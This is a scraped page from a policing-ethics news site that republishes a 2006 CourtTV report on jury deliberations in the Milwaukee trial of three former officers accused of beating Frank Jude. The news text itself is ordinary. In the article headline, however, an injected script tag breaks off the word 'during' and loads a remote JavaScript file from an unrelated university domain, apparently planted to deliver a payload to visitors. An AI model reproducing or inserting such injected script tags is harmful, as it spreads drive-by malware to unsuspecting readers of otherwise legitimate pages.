Username:
 Password:
 

Are you not a member?
Register here
Forgot your password?
 
 
 
 
 
 



NEWS > 12 April 2006

Other related articles:

South Africa: Dutch Police to
Minister of Safety and Security Charles Nqakula on Wednesday signed an agreement with his Dutch counterpart establishing a framework for bilateral police cooperation between the two countries.

The agreement signed with Guusje ter Horst, the Minister of the Interior and Kingdom Relations of the Kingdom of the Netherlands, commits the two countries to improving the quality of policing generally.

The pact focuses on promoting bilateral cooperation in the fields of law enforcement, crime prevention, public order and public safety.

On the question of non-operational coope... Read more

 Article sourced from

Defendant Andrew Spengler duri<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
CourtTV - New York,NY,USA
12 April 2006
This article appeared in the above title/site.
To view it in its entirity click this link.
Defendant Andrew Spengler duri

Jurors begin deliberating batt

A Milwaukee jury began deliberations Wednesday in the case against three former police officers accused of severely beating an unarmed man outside a house party where several off-duty officers were present.

The panel of nine women and three men started deliberating after four and a half hours of closing arguments from lawyers for defendants Andrew Spengler, 26, Jon Bartlett, 34, and Daniel Masarik, 26.

Each defendant faces three years in prison if convicted of substantial battery for the alleged attack on 26-year-old Frank Jude outside Spengler's home on Oct. 24, 2004. Bartlett and Masarik face an additional 10 years on reckless endangerment charges.

Throughout the 13-day trial, lawyers for Spengler and Bartlett have insisted that the men used appropriate force while trying to detain Jude on suspicions that he had stolen Spengler's badge. Masarik claims he was inside the house on the phone when the incident occurred.

To undermine the idea that the theft allegations against Jude were unfounded, Spengler's lawyer suggested in his closing that the male stripper was motivated to steal the badge to use in his striptease.

"The suggestion that this case is not about a badge is insulting," said Spengler's attorney, Michael Hart told jurors. "You better believe this case is about the badge."

The defense lawyer displayed a poster board with a transcript of his cross-examination of Jude concerning the police costume he used in his stripping act.

"'Do you have a badge?" Hart read aloud.

"No," he quoted Jude, who testified that his mother was a corrections officer. "My mom won't let me use it."

While lawyers for all three defendants condemned the viciousness of the attack, which landed the married father of two in the hospital with a broken nose and bruises all over his body, they denied that their clients had anything to do with the major injuries he suffered.

Instead, they attempted to shift the blame to the uniformed officer who responded to the scene, also the only police witness to implicate the defendants in the kicking or punching of Jude.

In his closing argument, Masarik's lawyer, Steven Kohn, brought a garbage bin to the podium that he called the "trash can of contamination" and suggested that the testimony of star prosecution witness Officer Joseph Schabel belonged in it.

Kohn drew the jury's attention to a "chilling" 911 call from civilian witness Kirsten Antonissen, who met Jude earlier in the evening at a friend's bachelorette party and invited him to Spengler's party.

In particular, Kohn referred to her comment to a 911 operator that a uniformed officer was kicking Jude in the head.

On the stand, Schabel testified that he punched Jude twice to subdue him as he resisted arrest, but maintained that he did not kick him in the head.

"The core question you have to ask yourselves is: Who's telling the truth?" Kohn said, before crumpling up a piece of paper and throwing it in the bin with other wads he had previously tossed in to signify other "contaminated" witnesses.

He also deemed the testimony of other off-duty officers and civilian witnesses at the party worthy of the trash, saying they were too intoxicated to identify Masarik, who produced phone records during his testimony to show that he was talking to his estranged wife at the time Antonissen made the 911 call.

Bartlett's lawyer, Gerald Boyle, also urged the jurors to dismiss the testimony of Schabel, who his client also accused on the stand of kicking Jude in the head, claiming he had an interest in making sure the spotlight was off him.

Blue wall of silence?

In the prosecution's closing argument Tuesday, Milwaukee County District Attorney Michael McCann scoffed at the suggestion that the theft of the badge, which was never recovered, was at the heart of the trial.

"It's because of the gravity of the injuries to Jude that this case was forced into the public light," said McCann told jurors. "The kicking to the head, the kicking to the testicles and all over his body, that's the issue here, not whether he took the badge."

McCann also lambasted the defense attorneys for "roasting" Schabel, who he said was the only person to break the "blue wall of silence" that prevented other police witnesses from implicating the defendants in any wrongdoing.

McCann has suggested that the off-duty officers who were at the party either lied on the stand or took steps to avoid witnessing the beating so they would not have to accuse fellow officers of excessive force.

"Ratting runs through this whole case and that's what's at the heart of it," McCann shouted, pounding his fists on the lectern. "You have to wonder if the ratting seeps into the courthouse, if protecting friends comes over the integrity of the trial."

In his final words to the jury, McCann made an impassioned plea to the jury to look at the severity of Jude's injuries and hold the defendants to account.

"I don't try many cases myself. I have an office of 125 lawyers, but this is a very important case," he said. "I don't want cops kicking the s--- out of people and accusing them of resisting arrest."
 

EiP Comments:

 


* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.


 
 
[about EiP] [membership] [information room] [library] [online shopping]
[EiP services] [contact information]
 
 
Policing Research 2010 EthicsinPolicing Limited. All rights reserved International Policing
privacy policy

site designed, maintained & hosted by
The Consultancy
Ethics in Policing, based in the UK, provide information and advice about the following:
Policing Research | Police News articles | Police Corruption | International Policing | Police Web Sites | Police Forum | Policing Ethics | Police Journals | Police Publications